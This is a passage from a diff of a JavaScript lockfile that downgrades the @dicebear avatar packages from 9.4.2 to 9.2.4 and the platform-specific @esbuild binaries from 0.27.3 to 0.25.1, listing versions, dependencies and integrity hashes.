+ "@dicebear/big-smile": ["@dicebear/big-smile@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-zeEfXOOXy7j9tfkPLzfQdLBPyQsctBetTdEfKRArc1k3RUliNPxfJG9j88+cXQC6GXrVW2pcT2X50NSPtugCFQ=="],
- "@dicebear/bottts": ["@dicebear/bottts@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-tsx+dII7EFUCVA8URj66G1GqORCCVduCAx4dY2prEY2IeFianVpkntXuFsWZ9BBGx1NZFndvDith5oTwKMQPbQ=="],
+ "@dicebear/bottts": ["@dicebear/bottts@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-4CTqrnVg+NQm6lZ4UuCJish8gGWe8EqSJrzvHQRO5TEyAKjYxbTdVqejpkycG1xkawha4FfxsYgtlSx7UwoVMw=="],
- "@dicebear/bottts-neutral": ["@dicebear/bottts-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-kFNwWt6j+gzZ5n5Pz7WVwePubREAQOF8ZwWA9ztwVYDVMLnOChWbAofy5FED4j5md2MXFH2EgLCFCMr5K2BmIA=="],
+ "@dicebear/bottts-neutral": ["@dicebear/bottts-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-eMVdofdD/udHsKIaeWEXShDRtiwk7vp4FjY7l0f79vIzfhkIsXKEhPcnvHKOl/yoArlDVS3Uhgjj0crWTO9RJA=="],
- "@dicebear/collection": ["@dicebear/collection@9.4.2", "", { "dependencies": { "@dicebear/adventurer": "9.4.2", "@dicebear/adventurer-neutral": "9.4.2", "@dicebear/avataaars": "9.4.2", "@dicebear/avataaars-neutral": "9.4.2", "@dicebear/big-ears": "9.4.2", "@dicebear/big-ears-neutral": "9.4.2", "@dicebear/big-smile": "9.4.2", "@dicebear/bottts": "9.4.2", "@dicebear/bottts-neutral": "9.4.2", "@dicebear/croodles": "9.4.2", "@dicebear/croodles-neutral": "9.4.2", "@dicebear/dylan": "9.4.2", "@dicebear/fun-emoji": "9.4.2", "@dicebear/glass": "9.4.2", "@dicebear/icons": "9.4.2", "@dicebear/identicon": "9.4.2", "@dicebear/initials": "9.4.2", "@dicebear/lorelei": "9.4.2", "@dicebear/lorelei-neutral": "9.4.2", "@dicebear/micah": "9.4.2", "@dicebear/miniavs": "9.4.2", "@dicebear/notionists": "9.4.2", "@dicebear/notionists-neutral": "9.4.2", "@dicebear/open-peeps": "9.4.2", "@dicebear/personas": "9.4.2", "@dicebear/pixel-art": "9.4.2", "@dicebear/pixel-art-neutral": "9.4.2", "@dicebear/rings": "9.4.2", "@dicebear/shapes": "9.4.2", "@dicebear/thumbs": "9.4.2", "@dicebear/toon-head": "9.4.2" }, "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-KArubv7if8H7j9sIfpDK2hJJqrdNVR5zMPAMOSpIU2JPyXx8TC9o5wsmXb8il5wOHgaS9Q/cla7jUNIiDD7Gsg=="],
+ "@dicebear/collection": ["@dicebear/collection@9.2.4", "", { "dependencies": { "@dicebear/adventurer": "9.2.4", "@dicebear/adventurer-neutral": "9.2.4", "@dicebear/avataaars": "9.2.4", "@dicebear/avataaars-neutral": "9.2.4", "@dicebear/big-ears": "9.2.4", "@dicebear/big-ears-neutral": "9.2.4", "@dicebear/big-smile": "9.2.4", "@dicebear/bottts": "9.2.4", "@dicebear/bottts-neutral": "9.2.4", "@dicebear/croodles": "9.2.4", "@dicebear/croodles-neutral": "9.2.4", "@dicebear/dylan": "9.2.4", "@dicebear/fun-emoji": "9.2.4", "@dicebear/glass": "9.2.4", "@dicebear/icons": "9.2.4", "@dicebear/identicon": "9.2.4", "@dicebear/initials": "9.2.4", "@dicebear/lorelei": "9.2.4", "@dicebear/lorelei-neutral": "9.2.4", "@dicebear/micah": "9.2.4", "@dicebear/miniavs": "9.2.4", "@dicebear/notionists": "9.2.4", "@dicebear/notionists-neutral": "9.2.4", "@dicebear/open-peeps": "9.2.4", "@dicebear/personas": "9.2.4", "@dicebear/pixel-art": "9.2.4", "@dicebear/pixel-art-neutral": "9.2.4", "@dicebear/rings": "9.2.4", "@dicebear/shapes": "9.2.4", "@dicebear/thumbs": "9.2.4" }, "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-I1wCUp0yu5qSIeMQHmDYXQIXKkKjcja/SYBxppPkYFXpR2alxb0k9/swFDdMbkY6a1c9AT1kI1y+Pg6ywQ2rTA=="],
- "@dicebear/core": ["@dicebear/core@9.4.2", "", { "dependencies": { "@types/json-schema": "^7.0.15" } }, "sha512-MF0042+Z3s8PGZKZLySfhft28bUa3B1iq0e5NSjCvY8gfMi5aIH/iRJGRJa1N9Jz1BNkxYb4yvJ/N9KO8Z6Y+w=="],
+ "@dicebear/core": ["@dicebear/core@9.2.4", "", { "dependencies": { "@types/json-schema": "^7.0.11" } }, "sha512-hz6zArEcUwkZzGOSJkWICrvqnEZY7BKeiq9rqKzVJIc1tRVv0MkR0FGvIxSvXiK9TTIgKwu656xCWAGAl6oh+w=="],
- "@dicebear/croodles": ["@dicebear/croodles@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-6VoO0JviIf7dKKMBTL/SMXxWhnXHaZuzufX90G0nXxS77ELG1YkGNMaZzawizN4C09Gbya2gJkozqrWiJN/aGw=="],
+ "@dicebear/croodles": ["@dicebear/croodles@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-CqT0NgVfm+5kd+VnjGY4WECNFeOrj5p7GCPTSEA7tCuN72dMQOX47P9KioD3wbExXYrIlJgOcxNrQeb/FMGc3A=="],
- "@dicebear/croodles-neutral": ["@dicebear/croodles-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-oG5IeUdtiYshQ89gkAVcl5w3xAEi5UZX2fTzIyelpBPCG176l7VuuFzlxi2umnB3E6LVHYy06DXvUo/p+rXB2Q=="],
+ "@dicebear/croodles-neutral": ["@dicebear/croodles-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-8vAS9lIEKffSUVx256GSRAlisB8oMX38UcPWw72venO/nitLVsyZ6hZ3V7eBdII0Onrjqw1RDndslQODbVcpTw=="],
- "@dicebear/dylan": ["@dicebear/dylan@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-1vQvRu9x9DrwFxhFaIU2rf0EUL04yDTbAt7fHyAjM0mEsKzTD4mRNf95tCRuavCoW6W48u7A/OY6jyIub6kxLQ=="],
+ "@dicebear/dylan": ["@dicebear/dylan@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-tiih1358djAq0jDDzmW3N3S4C3ynC2yn4hhlTAq/MaUAQtAi47QxdHdFGdxH0HBMZKqA4ThLdVk3yVgN4xsukg=="],
- "@dicebear/fun-emoji": ["@dicebear/fun-emoji@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-kqB6LPkdYCdEU/mwbyz34xLzoNUKL6ARcoo3fr5ASq9D6ZE07qIKybC3xv5+CPz7VmspJ1Q3c/VVWVMDRP7Twg=="],
+ "@dicebear/fun-emoji": ["@dicebear/fun-emoji@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-Od729skczse1HvHekgEFv+mSuJKMC4sl5hENGi/izYNe6DZDqJrrD0trkGT/IVh/SLXUFbq1ZFY9I2LoUGzFZg=="],
- "@dicebear/glass": ["@dicebear/glass@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-z5qUogHQ1b6UJ2zCqT848mU2U9DKbVDhiX6GPDjD7tYLisCCJVisH9p6WyNdHvflUd4SHkA6gRqVJIh2v2HnTA=="],
+ "@dicebear/glass": ["@dicebear/glass@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-5lxbJode1t99eoIIgW0iwZMoZU4jNMJv/6vbsgYUhAslYFX5zP0jVRscksFuo89TTtS7YKqRqZAL3eNhz4bTDw=="],
- "@dicebear/icons": ["@dicebear/icons@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-QSMMz0NA03ypSGhXC8HQX8FSj8lYT+/5yqH+/N03OH2IjL0q7wwGZ7nqsrtlRp76O5WqMTwGfSbTUUYPjFr+Xw=="],
+ "@dicebear/icons": ["@dicebear/icons@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-bRsK1qj8u9Z76xs8XhXlgVr/oHh68tsHTJ/1xtkX9DeTQTSamo2tS26+r231IHu+oW3mePtFnwzdG9LqEPRd4A=="],
- "@dicebear/identicon": ["@dicebear/identicon@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-JVDSmZsv11mSWqwAktK5x9Bslht2xY3TFUn8xzu6slAYe1Z7hEXZ76eb+UJ6F4qEzdwZ7xPWzAS6Nb0Y3A0pww=="],
+ "@dicebear/identicon": ["@dicebear/identicon@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-R9nw/E8fbu9HltHOqI9iL/o9i7zM+2QauXWMreQyERc39oGR9qXiwgBxsfYGcIS4C85xPyuL5B3I2RXrLBlJPg=="],
- "@dicebear/initials": ["@dicebear/initials@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-yePuIUasmwtl9IrtB6rEzE/zb5fImKP/neW0CdcTC2MwLgMuP1GLHEGRgg1zI8exIh+PMv1YdLGyyUuRTE2Qpw=="],
+ "@dicebear/initials": ["@dicebear/initials@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-4SzHG5WoQZl1TGcpEZR4bdsSkUVqwNQCOwWSPAoBJa3BNxbVsvL08LF7I97BMgrCoknWZjQHUYt05amwTPTKtg=="],
- "@dicebear/lorelei": ["@dicebear/lorelei@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-YMv6vnriW6VLFDsreKuOnUFFno6SRe7+7X7R7zPY0rZ+MaHX9V3jcioIG+1PSjIHEDfOLUHpr5vd1JBWv8y7UA=="],
+ "@dicebear/lorelei": ["@dicebear/lorelei@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-eS4mPYUgDpo89HvyFAx/kgqSSKh8W4zlUA8QJeIUCWTB0WpQmeqkSgIyUJjGDYSrIujWi+zEhhckksM5EwW0Dg=="],
- "@dicebear/lorelei-neutral": ["@dicebear/lorelei-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-yspanTthA5vh6iCdeLzn6xZ4yYMYRcfcxblcgSvHTF1ut0bjAXtw5SXzZ6aJTrJWiHkzYOQuTOR6GVYiW80Q7w=="],
+ "@dicebear/lorelei-neutral": ["@dicebear/lorelei-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-bWq2/GonbcJULtT+B/MGcM2UnA7kBQoH+INw8/oW83WI3GNTZ6qEwe3/W4QnCgtSOhUsuwuiSULguAFyvtkOZQ=="],
- "@dicebear/micah": ["@dicebear/micah@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-e4D3W/OlChSsLo7Llwsy0J18vk0azJqF/uFoY+EKACCNHBc1HGNsqVvu2CTf+OWOA8wTyAK6UkjBN5p01r7D+g=="],
+ "@dicebear/micah": ["@dicebear/micah@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-XNWJ8Mx+pncIV8Ye0XYc/VkMiax8kTxcP3hLTC5vmELQyMSLXzg/9SdpI+W/tCQghtPZRYTT3JdY9oU9IUlP2g=="],
- "@dicebear/miniavs": ["@dicebear/miniavs@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-wLwyFNNUnDRd3BbhSBhXR0XEpX8sG0/xDA5M/OkDoapLqZnnI48YLUSDd2N5QTAVMmcSEuZOYxkcnj7WW79vlg=="],
+ "@dicebear/miniavs": ["@dicebear/miniavs@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-k7IYTAHE/4jSO6boMBRrNlqPT3bh7PLFM1atfe0nOeCDwmz/qJUBP3HdONajbf3fmo8f2IZYhELrNWTOE7Ox3Q=="],
- "@dicebear/notionists": ["@dicebear/notionists@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-ZCySq+nxcD/x4xyYgytcj2N9uY3gxrL+qpnmOdp2BdA221KacVrxlsUPpIgEMqxS2rMmBQXfxg129Pzn4ycIpA=="],
+ "@dicebear/notionists": ["@dicebear/notionists@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-zcvpAJ93EfC0xQffaPZQuJPShwPhnu9aTcoPsaYGmw0oEDLcv2XYmDhUUdX84QYCn6LtCZH053rHLVazRW+OGw=="],
- "@dicebear/notionists-neutral": ["@dicebear/notionists-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-AyD9kEfVxQUwDGf4Op059gVmYIOAkTKg3dtE9h9mEKP7zl/kMy5B67BFFOo7sB0mXCjzAegZ6ekGU02E8+hIHw=="],
+ "@dicebear/notionists-neutral": ["@dicebear/notionists-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-fskWzBVxQzJhCKqY24DGZbYHSBaauoRa1DgXM7+7xBuksH7mfbTmZTvnUAsAqJYBkla8IPb4ERKduDWtlWYYjQ=="],
- "@dicebear/open-peeps": ["@dicebear/open-peeps@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-i01tLgtp2g937T81sVeAOVlqsCtiTck/Kw20g7hN80+7xrXjOUepz2HPLy3HeiMjwjMGRy5o54kSd0/8Ht4Dqg=="],
+ "@dicebear/open-peeps": ["@dicebear/open-peeps@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-s6nwdjXFsplqEI7imlsel4Gt6kFVJm6YIgtZSpry0UdwDoxUUudei5bn957j9lXwVpVUcRjJW+TuEKztYjXkKQ=="],
- "@dicebear/personas": ["@dicebear/personas@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-NJlkvI5F5gugt6t2+7QrYNTwQC7+4IQZS3vG0dYk2BncxOHax0BuLovdSdiAesTL4ZkytFYIydWmKmV2/xcUwg=="],
+ "@dicebear/personas": ["@dicebear/personas@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-JNim8RfZYwb0MfxW6DLVfvreCFIevQg+V225Xe5tDfbFgbcYEp4OU/KaiqqO2476OBjCw7i7/8USbv2acBhjwA=="],
- "@dicebear/pixel-art": ["@dicebear/pixel-art@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-peHf7oKICDgBZ8dUyj+txPnS7VZEWgvKE+xW4mNQqBt6dYZIjmva2shOVHn0b1JU+FDxMx3uIkWVixKdUq4WGg=="],
+ "@dicebear/pixel-art": ["@dicebear/pixel-art@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-4Ao45asieswUdlCTBZqcoF/0zHR3OWUWB0Mvhlu9b1Fbc6IlPBiOfx2vsp6bnVGVnMag58tJLecx2omeXdECBQ=="],
- "@dicebear/pixel-art-neutral": ["@dicebear/pixel-art-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-9e9Lz554uQvWaXV2P17ss+hPa6rTyuAKBtB8zk8ECjHiZzIl61N/KcTVLZ4dILVZwj7gYriaLo16QEqvL2GJCg=="],
+ "@dicebear/pixel-art-neutral": ["@dicebear/pixel-art-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-ZITPLD1cPN4GjKkhWi80s7e5dcbXy34ijWlvmxbc4eb/V7fZSsyRa9EDUW3QStpo+xrCJLcLR+3RBE5iz0PC/A=="],
- "@dicebear/rings": ["@dicebear/rings@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-Pc3ymWrRDQPJFNrbbLt7RJrzGvUuuxUiDkrfLhoVE+B6mZWEL1PC78DPbS1yUWYLErJOpJuM2GSwXmTbVjWf+g=="],
+ "@dicebear/rings": ["@dicebear/rings@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-teZxELYyV2ogzgb5Mvtn/rHptT0HXo9SjUGS4A52mOwhIdHSGGU71MqA1YUzfae9yJThsw6K7Z9kzuY2LlZZHA=="],
- "@dicebear/shapes": ["@dicebear/shapes@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-AFL6jAaiLztvcqyq+ds+lWZu6Vbp3PlGWhJeJRm842jxtiluJpl6r4f6nUXP2fdMz7MNpDzXfLooQK9E04NbUQ=="],
+ "@dicebear/shapes": ["@dicebear/shapes@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-MhK9ZdFm1wUnH4zWeKPRMZ98UyApolf5OLzhCywfu38tRN6RVbwtBRHc/42ZwoN1JU1JgXr7hzjYucMqISHtbA=="],
- "@dicebear/thumbs": ["@dicebear/thumbs@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-ccWvDBqbkWS5uzHbsg5L6uML6vBfX7jT3J3jHCQksvz8haHItxTK02w+6e1UavZUsvza4lG5X/XY3eji3siJ4Q=="],
-
- "@dicebear/toon-head": ["@dicebear/toon-head@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-lwFeSXyAnaKnCfMt9TiJwnD1cXQUGkey/0h6i/+4TVHVMCz5/Ri5u1ynovPNHy1SnBf858QwoXHkxilGLwQX/g=="],
+ "@dicebear/thumbs": ["@dicebear/thumbs@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-EL4sMqv9p2+1Xy3d8e8UxyeKZV2+cgt3X2x2RTRzEOIIhobtkL8u6lJxmJbiGbpVtVALmrt5e7gjmwqpryYDpg=="],
"@emnapi/core": ["@emnapi/core@1.7.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.1.0", "tslib": "^2.4.0" } }, "sha512-o1uhUASyo921r2XtHYOHy7gdkGLge8ghBEQHMWmyJFoXlpU58kIrhhN3w26lpQb6dspetweapMn2CSNwQ8I4wg=="],
@@ -1143,57 +1063,55 @@
"@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="],
- "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.3", "", { "os": "aix", "cpu": "ppc64" }, "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg=="],
+ "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-kfYGy8IdzTGy+z0vFGvExZtxkFlA4zAxgKEahG9KE1ScBjpQnFsNOX8KTU5ojNru5ed5CVoJYXFtoxaq5nFbjQ=="],
- "@esbuild/android-arm": ["@esbuild/android-arm@0.27.3", "", { "os": "android", "cpu": "arm" }, "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA=="],
+ "@esbuild/android-arm": ["@esbuild/android-arm@0.25.1", "", { "os": "android", "cpu": "arm" }, "sha512-dp+MshLYux6j/JjdqVLnMglQlFu+MuVeNrmT5nk6q07wNhCdSnB7QZj+7G8VMUGh1q+vj2Bq8kRsuyA00I/k+Q=="],
- "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.3", "", { "os": "android", "cpu": "arm64" }, "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg=="],
+ "@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.1", "", { "os": "android", "cpu": "arm64" }, "sha512-50tM0zCJW5kGqgG7fQ7IHvQOcAn9TKiVRuQ/lN0xR+T2lzEFvAi1ZcS8DiksFcEpf1t/GYOeOfCAgDHFpkiSmA=="],
- "@esbuild/android-x64": ["@esbuild/android-x64@0.27.3", "", { "os": "android", "cpu": "x64" }, "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ=="],
+ "@esbuild/android-x64": ["@esbuild/android-x64@0.25.1", "", { "os": "android", "cpu": "x64" }, "sha512-GCj6WfUtNldqUzYkN/ITtlhwQqGWu9S45vUXs7EIYf+7rCiiqH9bCloatO9VhxsL0Pji+PF4Lz2XXCES+Q8hDw=="],
- "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg=="],
+ "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-5hEZKPf+nQjYoSr/elb62U19/l1mZDdqidGfmFutVUjjUZrOazAtwK+Kr+3y0C/oeJfLlxo9fXb1w7L+P7E4FQ=="],
- "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg=="],
+ "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-hxVnwL2Dqs3fM1IWq8Iezh0cX7ZGdVhbTfnOy5uURtao5OIVCEyj9xIzemDi7sRvKsuSdtCAhMKarxqtlyVyfA=="],
- "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.3", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w=="],
+ "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-1MrCZs0fZa2g8E+FUo2ipw6jw5qqQiH+tERoS5fAfKnRx6NXH31tXBKI3VpmLijLH6yriMZsxJtaXUyFt/8Y4A=="],
- "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.3", "", { "os": "freebsd", "cpu": "x64" }, "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA=="],
+ "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-0IZWLiTyz7nm0xuIs0q1Y3QWJC52R8aSXxe40VUxm6BB1RNmkODtW6LHvWRrGiICulcX7ZvyH6h5fqdLu4gkww=="],
- "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.3", "", { "os": "linux", "cpu": "arm" }, "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw=="],
+ "@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.1", "", { "os": "linux", "cpu": "arm" }, "sha512-NdKOhS4u7JhDKw9G3cY6sWqFcnLITn6SqivVArbzIaf3cemShqfLGHYMx8Xlm/lBit3/5d7kXvriTUGa5YViuQ=="],
- "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg=="],
+ "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-jaN3dHi0/DDPelk0nLcXRm1q7DNJpjXy7yWaWvbfkPvI+7XNSc/lDOnCLN7gzsyzgu6qSAmgSvP9oXAhP973uQ=="],
- "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.3", "", { "os": "linux", "cpu": "ia32" }, "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg=="],
+ "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-OJykPaF4v8JidKNGz8c/q1lBO44sQNUQtq1KktJXdBLn1hPod5rE/Hko5ugKKZd+D2+o1a9MFGUEIUwO2YfgkQ=="],
- "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA=="],
+ "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nGfornQj4dzcq5Vp835oM/o21UMlXzn79KobKlcs3Wz9smwiifknLy4xDCLUU0BWp7b/houtdrgUz7nOGnfIYg=="],
- "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw=="],
+ "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-1osBbPEFYwIE5IVB/0g2X6i1qInZa1aIoj1TdL4AaAb55xIIgbg8Doq6a5BzYWgr+tEcDzYH67XVnTmUzL+nXg=="],
- "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.3", "", { "os": "linux", "cpu": "ppc64" }, "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA=="],
+ "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-/6VBJOwUf3TdTvJZ82qF3tbLuWsscd7/1w+D9LH0W/SqUgM5/JJD0lrJ1fVIfZsqB6RFmLCe0Xz3fmZc3WtyVg=="],
- "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.3", "", { "os": "linux", "cpu": "none" }, "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ=="],
+ "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.1", "", { "os": "linux", "cpu": "none" }, "sha512-nSut/Mx5gnilhcq2yIMLMe3Wl4FK5wx/o0QuuCLMtmJn+WeWYoEGDN1ipcN72g1WHsnIbxGXd4i/MF0gTcuAjQ=="],
- "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.3", "", { "os": "linux", "cpu": "s390x" }, "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw=="],
+ "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-cEECeLlJNfT8kZHqLarDBQso9a27o2Zd2AQ8USAEoGtejOrCYHNtKP8XQhMDJMtthdF4GBmjR2au3x1udADQQQ=="],
- "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.3", "", { "os": "linux", "cpu": "x64" }, "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA=="],
+ "@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.1", "", { "os": "linux", "cpu": "x64" }, "sha512-xbfUhu/gnvSEg+EGovRc+kjBAkrvtk38RlerAzQxvMzlB4fXpCFCeUAYzJvrnhFtdeyVCDANSjJvOvGYoeKzFA=="],
- "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA=="],
+ "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.1", "", { "os": "none", "cpu": "arm64" }, "sha512-O96poM2XGhLtpTh+s4+nP7YCCAfb4tJNRVZHfIE7dgmax+yMP2WgMd2OecBuaATHKTHsLWHQeuaxMRnCsH8+5g=="],
